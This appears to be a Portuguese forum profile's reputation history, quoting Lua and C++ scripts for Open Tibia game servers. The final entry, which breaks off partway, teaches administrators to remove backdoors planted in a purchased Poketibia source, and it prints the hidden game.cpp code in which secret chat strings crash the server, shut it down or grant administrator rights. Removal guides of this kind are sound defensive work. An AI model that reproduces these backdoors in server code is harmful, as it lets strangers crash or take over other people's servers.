Histórico de Curtidas
-
Ed.Specter recebeu reputação de amarelax em (Resolvido)Trocar premium points no tradeadiciona a função que citei.
e vê se funciona esse aqui:
talkactions
function onSay(cid, words, param, param2, channel) local t = string.explode(param, ",") local target = getCreatureByName(t[1]) local points = tonumber(t[2]) local item = 2233 local storage = 21223 if(param == '') then return doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Command requires param.") end if (target ~= nil) and isPlayer(target) and not isPlayerGhost(target) then if (points ~= nil) and (type(points) == 'number') and (points>0) then if getPlayerVipPoints(cid) > points then local addItem = doPlayerAddItem(cid, item, 1) doStartTrade(cid, target, addItem) doItemSetAttribute(addItem, "description", "Transferência de "..points.." premium points.") doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Você deu trade no jogador "..getPlayerName(target)..", com a intenção de trocar "..points.." premium points.") doPlayerSendTextMessage(target, MESSAGE_INFO_DESCR, "O Jogador "..getPlayerName(cid).." deu trade em você, e está disposto a trocar "..points.." premium points.") setPlayerStorageValue(cid, storage, points) else doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Você não tem essa quantidade de premium points.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Invalid param specified.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Invalid param specified.") end return true end
creaturescripts:
function onTradeAccept(cid, target, item) local storage = 21223 local sto = getPlayerStorageValue(cid, storage) if sto > 0 then doPlayerRemoveVipPoints(cid, sto) doPlayerAddVipPoints(target, sto) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Você trocou "..sto.." premium points, Parabéns.") doPlayerSendTextMessage(target, MESSAGE_STATUS_CONSOLE_BLUE, "Você realizou uma troca e adquiriu "..sto.." premium points, Parabéns.") setPlayerStorageValue(cid, storage, 0) end return true end
nesse caso você vai usar !trade NomeDoOutroPlayer, Quantidade de points. Exemplo: !trade Eduardo, 3
acho que deu pra ter uma boa base de como funciona..
não entendi direito esse do npc
-
Ed.Specter recebeu reputação de
Magalhaes92em Spells atk + paralizytesta isso aqui:
faz tempo q não mexo em spells :S.
mas acredito que và funcionar
-
Ed.Specter recebeu reputação de Gustavo Ntos em Suporte criar script.doCreatureAddHealth(cid, getCreatureMaxHealth(cid)*0.20)
-
Ed.Specter recebeu reputação de leozincorsair em PEDIDO ITEM QUE TIRA PK REDfunction onUse(cid, item) if getCreatureSkullType(cid) == SKULL_RED then if not getTileInfo(getThingPos(cid)).protection then doPlayerSetSkullEnd(cid, 0, skull) doRemoveItem(item.uid, 1) db.executeQuery('UPDATE `killers`, `player_killers` SET `killers`.`unjustified` = 0 WHERE `killers`.`unjustified` = 1 AND `player_killers`.`player_id` = ' .. getPlayerGUID(cid) .. ' AND `killers`.`id` = `player_killers`.`kill_id`') doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Your skull has been removed!") else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"You can't remove your skull in this area.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "You do not have red skull!") end return true end
-
Ed.Specter recebeu reputação de leozincorsair em PEDIDO ITEM QUE TIRA PK REDtesta assim :
function onUse(cid, item) if getCreatureSkullType(cid) == SKULL_RED then if not getTileInfo(getThingPos(cid)).protection then local pid = getPlayerGUID(cid) doPlayerSetSkullEnd(cid, 0, skull) doRemoveItem(item.uid, 1) doRemoveCreature(cid) doRemoveConditions(cid, CONDITION_INFIGHT) db.executeQuery("UPDATE players SET skulltime = 0 WHERE id = ".. pid ..";") db.executeQuery("UPDATE killers SET unjustified = 0 WHERE id IN (SELECT kill_id FROM player_killers WHERE player_id = " .. pid .. ");") else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"You can't remove your skull in this area.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "You do not have red skull!") end return true end
-
Ed.Specter recebeu reputação de leozincorsair em PEDIDO ITEM QUE TIRA PK REDops erro meu rsrs..
function onUse(cid, item) if getCreatureSkullType(cid) == SKULL_RED then if not getTileInfo(getThingPos(cid)).protection then local pid = getPlayerGUID(cid) doPlayerSetSkullEnd(cid, 0, skull) doRemoveItem(item.uid, 1) doRemoveCreature(cid) db.executeQuery("UPDATE players SET skulltime = 0 WHERE id = ".. pid ..";") db.executeQuery("UPDATE killers SET unjustified = 0 WHERE id IN (SELECT kill_id FROM player_killers WHERE player_id = " .. pid .. ");") else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"You can't remove your skull in this area.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "You do not have red skull!") end return true end prontinho.
-
Ed.Specter recebeu reputação de Luzetti em Erro no creaturesriptstesta assim :
local uniqueids = {8049, 8050} local passwords = { ["deus do mal e do caos"] = {doorpos = {x = 16740, y = 16431, z = 7}, doorid = 5128, uniqueid = 8049, doorclosetime = 2}, ----------------------------------------------------------------------------------------------------------------------------------- ["TK"] = {doorpos = {x = 1000, y = 1000, z = 7}, doorid = 1213, uniqueid = 8050, doorclosetime = 10} } function onTextEdit(cid, item, newText) local x = passwords[newText] if x then local function onCloseDoor() if(getTileItemById(x.doorpos,x.doorid+1).uid) > 0 then doTransformItem(getTileItemById(x.doorpos,x.doorid+1).uid, x.doorid) doSendMagicEffect(x.doorpos, CONST_ME_MAGIC_RED) end end for i = 1, #uniqueids do if item.uid == uniqueids[i] then if item.uid == x.uniqueid then if(getTileItemById(x.doorpos,x.doorid).uid) > 0 then doTransformItem(getTileItemById(x.doorpos,x.doorid).uid, x.doorid + 1) doSendMagicEffect(getThingPos(cid), CONST_ME_MAGIC_GREEN) doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, 'Sua Senha "'..newText..'" esta correta, voce pode entrar.') addEvent(onCloseDoor,x.doorclosetime*1000) elseif (getTileItemById(x.doorpos, x.doorid+1).uid) > 0 then doTransformItem(getTileItemById(x.doorpos,x.doorid+1).uid, x.doorid) doPlayerSendCancel(cid, 'Você fechou a porta.') end else doSendMagicEffect(getThingPos(cid), CONST_ME_POFF) doPlayerSendCancel(cid, 'Sua senha "'..newText..'" esta incorreta.') end end end end return true end
-
Ed.Specter recebeu reputação de Jpeedro em (Resolvido)Item que da Storagevai dá a storage ao usar, ou a da use ?
-
Ed.Specter recebeu reputação de Vodkart em Suporte criar script.doCreatureAddHealth(cid, getCreatureMaxHealth(cid)*0.20)
-
Ed.Specter deu reputação a Vodkart em Suporte criar script.function onStatsChange(cid, attacker, type, combat, value)
local hp = 10 -- em porcentagem
local class = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,473}
local percent = math.floor((getCreatureHealth(cid)*100)/getCreatureMaxHealth(cid))
if type == STATSCHANGE_HEALTHLOSS and percent <= hp and isInArray(class, getPlayerVocation(cid)) then
doCreatureAddHealth(cid, getCreatureMaxHealth(cid))
return true
end
return true
end
<event type="statschange" name="HpMax" event="script" value="nome do seu script.lua"/>
no login.lua
registerCreatureEvent(cid, "HpMax")
-
Ed.Specter recebeu reputação de Pepeco em For com if?vê se entende:
local position = { [1] = {pos = {x=1170,y=965,z=7}, item = "1"}, [2] = {pos = {x=1171,y=968,z=7}, item = "2"}, [3] = {pos = {x=1171,y=969,z=7}, item = "3"} } local check = 0 for i = 1, #position do if getTileItemById(position[i].pos, item).uid then check = check + 1 doPlayerSendTextMessage(cid, 22, "Confirmado item "..position[i].item..".") end end if check == #position then todos os items estão no lugar, então fazer... else algum item não está no lugar, então fazer... end bom, vi agr que o vod respondeu :S
-
Ed.Specter recebeu reputação de Vodkart em For com if?vê se entende:
local position = { [1] = {pos = {x=1170,y=965,z=7}, item = "1"}, [2] = {pos = {x=1171,y=968,z=7}, item = "2"}, [3] = {pos = {x=1171,y=969,z=7}, item = "3"} } local check = 0 for i = 1, #position do if getTileItemById(position[i].pos, item).uid then check = check + 1 doPlayerSendTextMessage(cid, 22, "Confirmado item "..position[i].item..".") end end if check == #position then todos os items estão no lugar, então fazer... else algum item não está no lugar, então fazer... end bom, vi agr que o vod respondeu :S
-
Ed.Specter deu reputação a Vodkart em For com if?function doRemoveItensInPos(items, pos) -- function by vodka local items = type(items) == "table" and items or {items} for i = 1, table.maxn(items) do doRemoveItem(getThingFromPos({x=pos.x,y=pos.y,z=pos.z,stackpos=1}).uid) end return nil end function getItemsInPos(items, pos) for i = 1,#items do local stack = getTileItemById(pos, items[1]) if stack.uid > 0 and math.max(1, stack.type) >= items[2] and i == #items then return true end end return false end
ai pode usar assim a tabela por exemplo:
local t = { {items = {{2385,1}} , pos = {x=1170, y=965, z=7}}, {items = {{2173,1},{2493,1}} , pos = {x=1171, y=968, z=7}} }
podendo colocar 1 ou mais itens dentro da tabela e a quantidade necessaria de cada um.
ai pra checar você usaria assim:
for _, w in ipairs(t) do if not getItemsInPos(w.items, w.pos) then doPlayerSendCancel(cid, 'Está faltando items.') return true end end
e pra remover os items
for _, v in ipairs(t) do doRemoveItensInPos(v.items, v.pos) end
-
Ed.Specter recebeu reputação de KotZletY em Paralyze Condition/math.randomif getCreatureCondition(cid, CONDITION_PARALYZE ) then ... else ... end
math:
coloca em uma tabela, e usa o math pra chamar um valor da tabela..
local tabela = {17, 26, 31, 35, 36, 39, 61, 65} print(tabela[math.random(#tabela)])
-
Ed.Specter recebeu reputação de Pepeco em Paralyze Condition/math.randomif getCreatureCondition(cid, CONDITION_PARALYZE ) then ... else ... end
math:
coloca em uma tabela, e usa o math pra chamar um valor da tabela..
local tabela = {17, 26, 31, 35, 36, 39, 61, 65} print(tabela[math.random(#tabela)])
-
Ed.Specter recebeu reputação de lucasvtr1 em (Resolvido)Trocar premium points no tradeadiciona a função que citei.
e vê se funciona esse aqui:
talkactions
function onSay(cid, words, param, param2, channel) local t = string.explode(param, ",") local target = getCreatureByName(t[1]) local points = tonumber(t[2]) local item = 2233 local storage = 21223 if(param == '') then return doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Command requires param.") end if (target ~= nil) and isPlayer(target) and not isPlayerGhost(target) then if (points ~= nil) and (type(points) == 'number') and (points>0) then if getPlayerVipPoints(cid) > points then local addItem = doPlayerAddItem(cid, item, 1) doStartTrade(cid, target, addItem) doItemSetAttribute(addItem, "description", "Transferência de "..points.." premium points.") doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Você deu trade no jogador "..getPlayerName(target)..", com a intenção de trocar "..points.." premium points.") doPlayerSendTextMessage(target, MESSAGE_INFO_DESCR, "O Jogador "..getPlayerName(cid).." deu trade em você, e está disposto a trocar "..points.." premium points.") setPlayerStorageValue(cid, storage, points) else doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Você não tem essa quantidade de premium points.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Invalid param specified.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Invalid param specified.") end return true end
creaturescripts:
function onTradeAccept(cid, target, item) local storage = 21223 local sto = getPlayerStorageValue(cid, storage) if sto > 0 then doPlayerRemoveVipPoints(cid, sto) doPlayerAddVipPoints(target, sto) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Você trocou "..sto.." premium points, Parabéns.") doPlayerSendTextMessage(target, MESSAGE_STATUS_CONSOLE_BLUE, "Você realizou uma troca e adquiriu "..sto.." premium points, Parabéns.") setPlayerStorageValue(cid, storage, 0) end return true end
nesse caso você vai usar !trade NomeDoOutroPlayer, Quantidade de points. Exemplo: !trade Eduardo, 3
acho que deu pra ter uma boa base de como funciona..
não entendi direito esse do npc
-
Ed.Specter recebeu reputação de Digoshow em (Resolvido)Trocar premium points no tradeEm luascript.h, adicione essa linha:
static int32_t luaDoStartTrade(lua_State* L); coloca abaixo de linhas parecidas.
Em luascript.cpp, adicione isso:
//doStartTrade(cid, target, item) lua_register(m_luaState, "doStartTrade", LuaInterface::luaDoStartTrade); coloca perto de linhas parecidas.
e em luascript.cpp ainda. coloca isso também: (perto de algo parecido)
int32_t LuaInterface::luaDoStartTrade(lua_State* L) { ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(popNumber(L)); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Player* target = env->getPlayerByUID(popNumber(L)); Player* player = env->getPlayerByUID(popNumber(L)); if(!player || !target) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(g_game.internalStartTrade(player, target, item)) { lua_pushboolean(L, true); return 1; } return 1; }
todos os créditos da função para OneShot!
exemplo de uso:
local item = doPlayerAddItem(cid, 1234) doStartTrade(cid, target, item)
dai é só criar um talkactions, usa como base esse que você comentou ai.
e cria um onTradeAccept(cid, target, item).
o talkactions para chamar a função doStartTrade, que vai simular o trade, e o tradeAccept para quando o trade for aceito.
-
Ed.Specter recebeu reputação de Digoshow em (Resolvido)Trocar premium points no tradeadiciona a função que citei.
e vê se funciona esse aqui:
talkactions
function onSay(cid, words, param, param2, channel) local t = string.explode(param, ",") local target = getCreatureByName(t[1]) local points = tonumber(t[2]) local item = 2233 local storage = 21223 if(param == '') then return doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Command requires param.") end if (target ~= nil) and isPlayer(target) and not isPlayerGhost(target) then if (points ~= nil) and (type(points) == 'number') and (points>0) then if getPlayerVipPoints(cid) > points then local addItem = doPlayerAddItem(cid, item, 1) doStartTrade(cid, target, addItem) doItemSetAttribute(addItem, "description", "Transferência de "..points.." premium points.") doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Você deu trade no jogador "..getPlayerName(target)..", com a intenção de trocar "..points.." premium points.") doPlayerSendTextMessage(target, MESSAGE_INFO_DESCR, "O Jogador "..getPlayerName(cid).." deu trade em você, e está disposto a trocar "..points.." premium points.") setPlayerStorageValue(cid, storage, points) else doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Você não tem essa quantidade de premium points.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Invalid param specified.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Invalid param specified.") end return true end
creaturescripts:
function onTradeAccept(cid, target, item) local storage = 21223 local sto = getPlayerStorageValue(cid, storage) if sto > 0 then doPlayerRemoveVipPoints(cid, sto) doPlayerAddVipPoints(target, sto) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Você trocou "..sto.." premium points, Parabéns.") doPlayerSendTextMessage(target, MESSAGE_STATUS_CONSOLE_BLUE, "Você realizou uma troca e adquiriu "..sto.." premium points, Parabéns.") setPlayerStorageValue(cid, storage, 0) end return true end
nesse caso você vai usar !trade NomeDoOutroPlayer, Quantidade de points. Exemplo: !trade Eduardo, 3
acho que deu pra ter uma boa base de como funciona..
não entendi direito esse do npc
-
Ed.Specter deu reputação a Vodkart em Script passar portal apenas quando estiver equipando 1 amuleto especial.function onStepIn(cid, item, position, fromPosition) local id_item, position = 2173, {x=1000, y=1000, z=7} -- id do colar e a pos pra onde ele vai ao entrar no tp if getPlayerSlotItem(cid, 2).itemid == id_item then doTeleportThing(cid, pos) doSendMagicEffect(getThingPos(cid), CONST_ME_TELEPORT) return true end doTeleportThing(cid, fromPosition, true) doSendMagicEffect(getThingPos(cid), CONST_ME_MAGIC_BLUE) return true end
-
Ed.Specter deu reputação a Vodkart em [TFS 1.2+] Invite Players System!Resumo: Para quem já jogou league of legends, o sistema é "parecido" com o Invite Friends, e para quem não jogou irei dar uma breve descrição sobre o sistema.
Descrição: O sistema oferece algumas premiações como: Itens, Premium Days, Montarias, Premium Points(para site) e Outfits. Claro que isso tudo é configurável.
A ideia principal do sistema foi que essas premiações fossem exclusivas do sistema, digamos, que os jogadores só fossem recompensados e tivessem certas montarias/outfits se ele atingisse num número "X" de pontos por ter ajudado seu servidor a crescer!
Como todo mundo almeja algo exclusivo e difícil de ser obtido, iria instigar os jogadores a usar o sistema e convidar seus amigos para o servidor!
Como Funciona o Sistema?
O sistema foi planejado para que jogadores "espertinhos" não burlassem o sistema e acontece da seguinte maneira:
Temos o jogador João e a jogadora Maria:
Maria necessita ser level 30 ou menor que 30(Configurável) para utilizar uma talkactions e dizer por quem foi invitada para o servidor, vamos supor que João a convidou Maria para jogar, João por sua vez necessita também ter um level avançado, digamos 50 ou superior(Configurável). Feito com sucesso o uso do sistema, ele funciona da seguinte maneira:
OBS: Você pode dizer o nome do jogador mesmo que ele esteja OFFLINE!
OBS2: Um ou mais Players podem ser invitador pelo MESMO JOGADOR! ENTÃO QUANTO MAIS PLAYER VOCÊ CHAMAR, MAIS FÁCIL DE RECEBER PONTOS E PREMIAÇÕES
O jogador invitado, no caso o João, teria que atingir um número "X" de pontos para receber premiações, por exemplo:
* Com 10 Pontos jogão recebe: Itens
* Com 25 Pontos jogão recebe: Itens e Premium Points
* Com 50 Pontos jogão recebe: Itens e Montaria
* Com 100 Pontos jogão recebe: Itens, Premium Points, Premium Days e Outifit
(Claro que isso é tudo configurável em uma Tabela)
E como recebo Recebo esses Pontos VODKART SEU FILHO DA PUTA!
Se lembra que João Convidou Maria para Jogar? Então... Maria tem que atingir certos leveis para que João receba esses pontos! Por exemplo a tabela do sistema:
levels_win = { [50] = 5, [80] = 6, [100] = 8, [150] = 10 },
Se Maria atingir level 50, João recebe 5 pontos
Se Maria atingir level 80, João recebe 6 pontos
Etc... Claro que isso tudo é acumulativo!
E sabe o que mais? João recebe Pontos mesmo se estiver ONLINE ou OFFLINE!
Sem mais delongas, Vamos instalar o sistema!
Instalando o Sistema:
data\creaturescripts\scripts
InviteFriends.lua
function onLogin(player) player:registerEvent("FriendsPoints") if player:getStorageValue(_invite_friends.storages[1]) < 0 then player:setStorageValue(_invite_friends.storages[1], 0) player:setStorageValue(_invite_friends.storages[4], 0) end if getInvitePoints(player) > 0 then local acc = player:getAccountId() local FriendPoints, CheckPoints = getInvitePoints(player), player:getStorageValue(_invite_friends.storages[4]) for vod, ka in pairs(_invite_friends.rewards) do local str = "" if FriendPoints >= vod and CheckPoints < vod then str = str.."--> Invite Players System <--\n\nVocê acaba de receber algumas recompensas:\n\nItems: \n"..getItemsFromList(ka.items)..".\n\n" if ka.p_days > 0 then player:addPremiumDays(ka.p_days) str = str.."Premium Days:\n"..ka.p_days.." Premium Days." end if ka.p_points > 0 then db.executeQuery('UPDATE accounts SET premium_points=premium_points+' .. ka.p_points ..' WHERE id=' .. acc) str = str.."Premium Points:\n"..ka.p_points.." Premium Points." end if ka.out[1] > 0 then player:addOutfitAddon(player:getSex() == PLAYERSEX_FEMALE and ka.out[1] or ka.out[2], 3) str = str.."[New Outfit]\nRecebeu uma Nova Outfit." end if ka.mount_id > 0 then player:addMount(ka.mount_id) str = str.."[New Outfit]\nRecebeu uma Nova Montaria." end player:setStorageValue(_invite_friends.storages[4], FriendPoints) local town_id = player:getTown():getId() if #ka.items > 0 then local parcel = player:getDepotChest(town_id, true):addItem(2595) for _, i_i in ipairs(ka.items) do local item, amount = i_i[1],i_i[2] if isItemStackable(item) or amount == 1 then parcel:addItem(item, amount) else for i = 1, amount do parcel:addItem(item, 1) end end end end local townid = player:getTown():getId() local letter = player:getDepotChest(town_id, true):addItem(2598, 1, true, 1) letter:setAttribute(ITEM_ATTRIBUTE_WRITER, "[+] Invite Players System [+]") letter:setAttribute(ITEM_ATTRIBUTE_TEXT, str) player:sendTextMessage(MESSAGE_STATUS_CONSOLE_ORANGE,"[Invite Players System] Você Recebeu algumas premiações por estar convidando jogadores para o servidor, Por favor conferir os itens no Depot.") end end end return true end function onAdvance(player, skill, oldlevel, newlevel) if (skill == SKILL__LEVEL) then if hasInviteFriend(player) and player:getStorageValue(_invite_friends.storages[3]) < newlevel and _invite_friends.levels_win[newlevel] then local f_name, points = getNameFriend(player), _invite_friends.levels_win[newlevel] player:setStorageValue(_invite_friends.storages[3], newlevel) addInvitePoints(f_name, points) player:sendTextMessage(MESSAGE_STATUS_CONSOLE_ORANGE, "[Invite Friends] você atingiu o level "..newlevel.." e o seu amigou "..f_name.." recebeu "..points.." Friend Points. Obrigado!") end end return true end
creaturescripts.xml
<event type="advance" name="FriendsPoints" script="InviteFriends.lua"/> <event type="login" name="FriendsLogin" script="InviteFriends.lua"/>
data\lib\core
_invite_friends = { storages = {202301, 202302, 202303, 202304}, -- points, jogador, recompensa lvl, recompensa items level_max = 30, -- até que level ele precisa falar seu friend level_need = 50, -- que lever o jogador precisa ser para ganhar pontos levels_win = { [50] = 5, [80] = 6, [100] = 8, [150] = 10 }, rewards = { [10] = {items = {{2160,1},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}}, [25] = {items = {{2160,2},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}}, [50] = {items = {{2160,3},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}}, [100] = {items = {{2160,4},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}}, [200] = {items = {{2160,5},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}}, [250] = {items = {{2160,6},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0, 0}}, [500] = {items = {{2160,7},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}} } } function getInvitePoints(cid) local cid = Player(cid) if cid == nil then return false end return getPlayerStorageValue(cid, _invite_friends.storages[1]) < 0 and 0 or getPlayerStorageValue(cid, _invite_friends.storages[1]) end function hasInviteFriend(cid) local cid = Player(cid) if cid == nil then return false end return getPlayerStorageValue(cid, _invite_friends.storages[2]) > 0 and true or false end function getNameFriend(cid) local cid = Player(cid) if cid == nil then return false end return getPlayerNameByGUID(getPlayerStorageValue(cid, _invite_friends.storages[2])) end function addInvitePoints(name, amount) local pid, Guid = getPlayerByName(name), getPlayerGUIDByName(name) if not pid then local getFriendPoints = db.storeQuery("SELECT `value` FROM `player_storage` WHERE `player_id` = ".. Guid .." AND `key` = ".._invite_friends.storages[1]) if getFriendPoints ~= false then db.asyncQuery("UPDATE `player_storage` SET `value` = ".. (result.getDataInt(getFriendPoints, "value")+amount) .." WHERE `player_id` = ".. Guid .." AND `key` = ".._invite_friends.storages[1]) end else setPlayerStorageValue(getPlayerByName(name), _invite_friends.storages[1], getInvitePoints(getPlayerByName(name))+amount) end return true end function getItemsFromList(items) -- by vodka local str = '' if table.maxn(items) > 0 then for i = 1, table.maxn(items) do str = str .. items[i][2] .. ' ' .. ItemType(items[i][1]):getName() if i ~= table.maxn(items) then str = str .. ', ' end end end return str end function getPlayerNameByGUID(guid) local a = db.storeQuery('SELECT `name` FROM `players` WHERE `id` = ' .. guid .. ' LIMIT 1') if a then return result.getDataString(a, "name") end return nil end function PlayerExist(name) -- by vodka local a = db.storeQuery('SELECT `id` FROM `players` WHERE `name` = ' .. db.escapeString(name)) if a ~= false then return true end return false end
Na mesma pasta procure por data\lib\core.lua e adicione essa linha:
dofile('data/lib/core/invitefriends.lua')
data\talkactions\scripts
InviteFriends.lua
function onSay(player, words, param) local param = param:lower() if param == "" or not param then player:sendCancelMessage("Você precisa digitar o nome de um jogador.") return false elseif param == "points" then player:popupFYI("[+] Invite Friend System [+]\n\nvocê tem ["..getInvitePoints(player).."] Friends Points.") return false elseif hasInviteFriend(player) then player:sendCancelMessage("Você já agradeceu o jogador ["..getNameFriend(player).."] por te convidar a jogar neste servidor.") return false elseif not getPlayerGUIDByName(param) then player:sendCancelMessage("Desculpe, mas o jogador [" .. param .. "] não existe.") return false elseif player:getLevel() > _invite_friends.level_max or result.getDataInt(db.storeQuery("SELECT `level` FROM `players` WHERE `id` = "..getPlayerGUIDByName(param)), "level") < _invite_friends.level_need then player:sendCancelMessage((player:getLevel() > _invite_friends.level_max and "Desculpe, mas você precisa ter no maximo level ".._invite_friends.level_max.." para usar este comando." or "Desculpe, mas o jogador ["..param.."] precisa ter no minimo level ".._invite_friends.level_need.." para ser escolhido.")) return false elseif player:getName():lower() == param then player:sendCancelMessage("Desculpe, mas você não pode se auto invitar.") return false end player:setStorageValue(_invite_friends.storages[2], getPlayerGUIDByName(param)) player:sendTextMessage(25, "Você indicou o jogador "..param..", este sistema é uma forma de agradecer a vocês por trazerem seus amigos para jogar.") player:getPosition():sendMagicEffect(math.random(28,30)) return false end
talkactions.xml
<talkaction words="!invited" separator=" " script="InviteFriends.lua"/>
Exemplo de uso do comando:
Vodkart me chamou para jogador? uso o comando:
!invited vodkart
Configurando o Sistema:
*Vá na LIB do sistema que você adicionou*
level_max = 30, -- até que level ele precisa falar seu friend
level_need = 50, -- que lever o jogador precisa ser para ganhar pontos
levels_win = { -- [LEVEL QUE PRECISA ATINGIR] = QUANTIDADE DE PONTOS QUE O OUTRO JOGADOR VAI RECEBER
[50] = 5,
[80] = 6,
[100] = 8,
[150] = 10
}
rewards = {
[10] = {items = {{2160,1},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}},
[25] = {items = {{2160,2},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}},
[50] = {items = {{2160,3},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}},
[100] = {items = {{2160,4},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}},
[200] = {items = {{2160,5},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}},
[250] = {items = {{2160,6},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0, 0}},
[500] = {items = {{2160,7},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}}
}
rewards = {
[PONTOS NECESSÁRIO PARA OBTER A PREMIAÇÃO] =
exemplo:
[10] = {items = {{2160,1},{2173,1}}, p_days = 0, mount_id = 0, p_points = 0 , out = {0,0}},
com 10 pontos ele irá rceber aquele itens acima /\
items = {} -- Poderá adicionar itens em uma tabela dizendo {id do item, quantidade}
p_days = 0 -- se o jogador vai receber Premium Days? 0 ou Quantidade que vc deseja dar
mount_id = 0 -- Se o jogador vai receber montaria? Colocar o Mount ID(que fica em mounts.xml) Ou deixar 0 para nenhuma
p_points = 0 -- se o jogador vai receber Premium Points? 0 ou Quantidade que vc deseja dar
out = {0,0} -- se vai recever outfit? {FEMALE, MALE} OU {0 , 0} para nenhuma
-
Ed.Specter recebeu reputação de VertusSpriter em Script passar portal apenas quando estiver equipando 1 amuleto especial.nesse caso ai o player vai entrar mesmo se estiver com o amulet na bp.
getPlayerItems não retorna todos os itens do jogador?
acho que seria melhor usar getPlayerSlotItem
-
Ed.Specter deu reputação a L3K0T em Source Poketibia - Códigos de derrubarOlá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
Código 1
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
Código 2
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para
